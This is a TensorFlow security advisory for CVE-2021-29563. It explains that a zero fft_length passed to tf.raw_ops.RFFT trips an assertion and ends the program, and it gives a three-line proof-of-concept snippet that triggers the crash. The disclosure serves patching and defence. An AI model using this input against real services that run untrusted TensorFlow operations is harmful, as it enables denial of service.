CVE-2021-29563: CHECK-fail in `tf.raw_ops.RFFT`

May 21, 2021 (updated November 1, 2024)

An attacker can cause a denial of service by exploiting a CHECK-failure coming from the implementation of tf.raw_ops.RFFT:

import tensorflow as tf

inputs = tf.constant([1], shape=[1], dtype=tf.float32)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)

tf.raw_ops.RFFT(input=inputs, fft_length=fft_length)

The above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.
